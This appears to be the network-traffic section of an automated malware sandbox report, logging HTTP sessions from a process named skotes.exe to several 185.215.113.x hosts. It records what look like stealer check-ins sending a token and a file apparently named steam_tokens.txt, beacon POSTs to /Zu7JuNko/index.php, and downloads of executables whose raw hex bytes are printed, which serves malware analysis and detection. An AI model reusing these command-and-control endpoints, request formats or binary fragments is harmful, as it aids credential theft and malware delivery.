name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="file"------KFCFIEHCFIECBGCBFHIJ--
Oct 24, 2024 08:38:51.725714922 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 08:38:51.990689039 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"ybncbhylepme------GDBKKFHIEGDHJKECAAKK--
Oct 24, 2024 08:38:52.270837069 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:52 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 24, 2024 08:38:52.272969961 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHDAEBGCAAFIDGCGDHI--
Oct 24, 2024 08:38:53.056057930 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:38:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	61015	185.215.113.16	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:26.812344074 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 08:38:27.730655909 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:27 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 05:29:33 GMT Connection: keep-alive ETag: "6719db3d-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 db 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL5g"Xw@`5@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 08:38:27.730688095 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2
Oct 24, 2024 08:38:27.730741024 CEST	1236	IN	Data Raw: 68 26 24 44 00 e8 fc ef 01 00 59 c3 e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 Data Ascii: h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3M
Oct 24, 2024 08:38:27.730778933 CEST	1236	IN	Data Raw: ff e8 29 ba 00 00 8d b7 5c fd ff ff 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff Data Ascii: )\DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Oct 24, 2024 08:38:27.730808973 CEST	124	IN	Data Raw: 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 Data Ascii: @83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@
Oct 24, 2024 08:38:27.730859995 CEST	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Oct 24, 2024 08:38:27.730887890 CEST	212	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ
Oct 24, 2024 08:38:27.730921030 CEST	1236	IN	Data Raw: 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 8b 41 04 8b 11 89 45 ec 8b 41 08 89 Data Ascii: (MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3
Oct 24, 2024 08:38:27.730956078 CEST	1236	IN	Data Raw: 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 04 04 00 3b fb 0f 84 31 fd ff ff e9 Data Ascii: EHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H
Oct 24, 2024 08:38:27.730988979 CEST	1236	IN	Data Raw: 7c d8 84 db 75 c9 5b 5f eb 8c 8b 46 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 0e f5 03 00 53 56 57 8d 4c 24 28 e8 13 7f 00 00 8d 44 24 38 33 db 50 68 ff 7f 00 00 88 5c 24 19 88 5c 24 1a ff Data Ascii: \|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5
Oct 24, 2024 08:38:27.736321926 CEST	1236	IN	Data Raw: e0 50 e8 2f 79 00 00 8d 4d e0 e8 9b 69 00 00 68 74 ca 49 00 8d 4d d0 c7 45 e0 00 01 00 00 89 5d e8 c7 45 ec 01 00 00 00 e8 a1 6d 00 00 53 53 8d 45 e0 50 8d 45 d0 50 e8 fa 78 00 00 8d 4d d0 89 45 0c e8 63 69 00 00 8d 4d e0 e8 6c a0 00 00 8b 75 ac Data Ascii: P/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	61017	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:33.562371016 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001136001&unit=246122658369
Oct 24, 2024 08:38:34.493244886 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	61018	185.215.113.16	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:34.537811995 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 08:38:35.438400030 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:35 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 08:38:35.438421965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 24, 2024 08:38:35.438433886 CEST	424	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 24, 2024 08:38:35.438445091 CEST	1148	IN	Data Raw: 8b 4d fc 8b 55 08 8b 42 78 89 41 78 8b 4d 08 83 c1 7c 51 8b 4d fc 83 c1 7c e8 3d 91 01 00 8b 45 fc 8b e5 5d c2 04 00 cc cc cc cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 1d 91 01 00 8b 4d 08 83 c1 0c 51 8b 4d fc 83 c1 0c e8 0b 91 01 00 8b 55 Data Ascii: MUBxAxM\|QM\|=E]UQMEPMMQMURME$PM$E]UthBMZhBMMEttWjhQvP\
Oct 24, 2024 08:38:35.438458920 CEST	1236	IN	Data Raw: 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff 50 8d 8d 94 fe ff ff e8 41 8e 01 00 8b c8 e8 ca 8e 01 00 8b c8 e8 33 8e 01 00 8b c8 e8 bc 8e 01 00 8b c8 e8 b5 8e 01 00 50 8d 8d 94 fe ff ff e8 99 8d 01 00 8d 8d 30 fd ff ff e8 ee 8c 01 00 8d Data Ascii: TQUR`PA3P0<HT`RQ<rh"BhWBPMQRhVBPdQ R
Oct 24, 2024 08:38:35.438467979 CEST	212	IN	Data Raw: a9 64 00 c7 42 0c 00 00 00 00 c7 05 94 a9 64 00 00 00 00 00 5d c3 cc cc cc cc cc 55 8b ec 83 7d 08 00 74 23 8b 45 08 83 38 00 74 10 8b 4d 08 8b 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb d7 8b 45 08 5d c3 cc cc cc cc cc cc Data Ascii: dBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHU
Oct 24, 2024 08:38:35.438479900 CEST	1236	IN	Data Raw: 45 08 8b 48 08 89 4a 08 8b 55 08 83 7a 08 00 74 0c 8b 45 08 8b 48 08 8b 55 fc 89 51 0c 8b 45 08 8b 4d fc 89 48 08 8b 55 fc 8b 45 08 8b 08 89 0a 8b 45 fc 8b e5 5d c3 55 8b ec a1 94 a9 64 00 3b 45 0c 75 09 8b 4d 08 89 0d 94 a9 64 00 8b 55 08 8b 42 Data Ascii: EHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEMQPExtMQEBE]UE]UE]U=duh hD2EPEMQdR]E}
Oct 24, 2024 08:38:35.438493013 CEST	1236	IN	Data Raw: 42 00 68 bc 1e 42 00 e8 77 20 00 00 83 c4 0c a3 04 a1 64 00 6a 0b 68 c8 1e 42 00 68 d4 1e 42 00 e8 5e 20 00 00 83 c4 0c a3 dc a1 64 00 6a 09 68 e0 1e 42 00 68 ec 1e 42 00 e8 45 20 00 00 83 c4 0c a3 28 a3 64 00 6a 0c 68 f8 1e 42 00 68 08 1f 42 00 Data Ascii: BhBw djhBhB^ djhBhBE (djhBhB, djhBh$B $djh0Bh@BdjhPBh\BdjhhBhB(djhBhBdjhBhBP
Oct 24, 2024 08:38:35.438508034 CEST	1236	IN	Data Raw: c0 23 42 00 68 cc 23 42 00 e8 a1 1b 00 00 83 c4 0c a3 3c a1 64 00 6a 09 68 d8 23 42 00 68 e4 23 42 00 e8 88 1b 00 00 83 c4 0c a3 4c a2 64 00 6a 17 68 f0 23 42 00 68 08 24 42 00 e8 6f 1b 00 00 83 c4 0c a3 1c a5 64 00 6a 0a 68 20 24 42 00 68 2c 24 Data Ascii: #Bh#B<djh#Bh#BLdjh#Bh$Bodjh $Bh,$BVdjh8$BhH$B=djhX$Bhd$B$(djhp$Bh$BLdjh$Bh$Bdjh$Bh$BLdjh$Bh$B
Oct 24, 2024 08:38:35.438519955 CEST	636	IN	Data Raw: 16 00 00 83 c4 0c a3 60 a1 64 00 6a 0d 68 80 2a 42 00 68 90 2a 42 00 e8 bf 16 00 00 83 c4 0c a3 14 a1 64 00 6a 11 68 a0 2a 42 00 68 b4 2a 42 00 e8 a6 16 00 00 83 c4 0c a3 18 a3 64 00 6a 10 68 c8 2a 42 00 68 dc 2a 42 00 e8 8d 16 00 00 83 c4 0c a3 Data Ascii: `djhBhBdjhBhBdjhBhBdjh*Bh+BtTdjh(+Bh8+B[@djhH+Bh\+BBdjhp+Bhx+B)0djh+Bh+BHdjh+Bh+Bdjh+B
Oct 24, 2024 08:38:35.443871021 CEST	1236	IN	Data Raw: 6a 0d 68 f0 2d 42 00 68 00 2e 42 00 e8 4e 14 00 00 83 c4 0c a3 0c a4 64 00 6a 10 68 10 2e 42 00 68 24 2e 42 00 e8 35 14 00 00 83 c4 0c a3 8c a4 64 00 6a 10 68 38 2e 42 00 68 4c 2e 42 00 e8 1c 14 00 00 83 c4 0c a3 6c a4 64 00 6a 10 68 60 2e 42 00 Data Ascii: jh-Bh.BNdjh.Bh$.B5djh8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.Bh.Bdjh.Bh.B\djh.Bh.B@djh.Bh/BDdjh/Bh(/Bm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	61027	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:39.560697079 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001137001&unit=246122658369
Oct 24, 2024 08:38:40.468971014 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	61031	34.107.221.82	80	5040	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:40.783596992 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:38:41.371543884 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 51982 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 08:38:42.626735926 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 08:38:42.749963045 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 51983 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	61033	185.215.113.43	80	4268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:38:42.084420919 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 08:38:42.986759901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 06:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	61034	34.107.221.82	80	5040	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
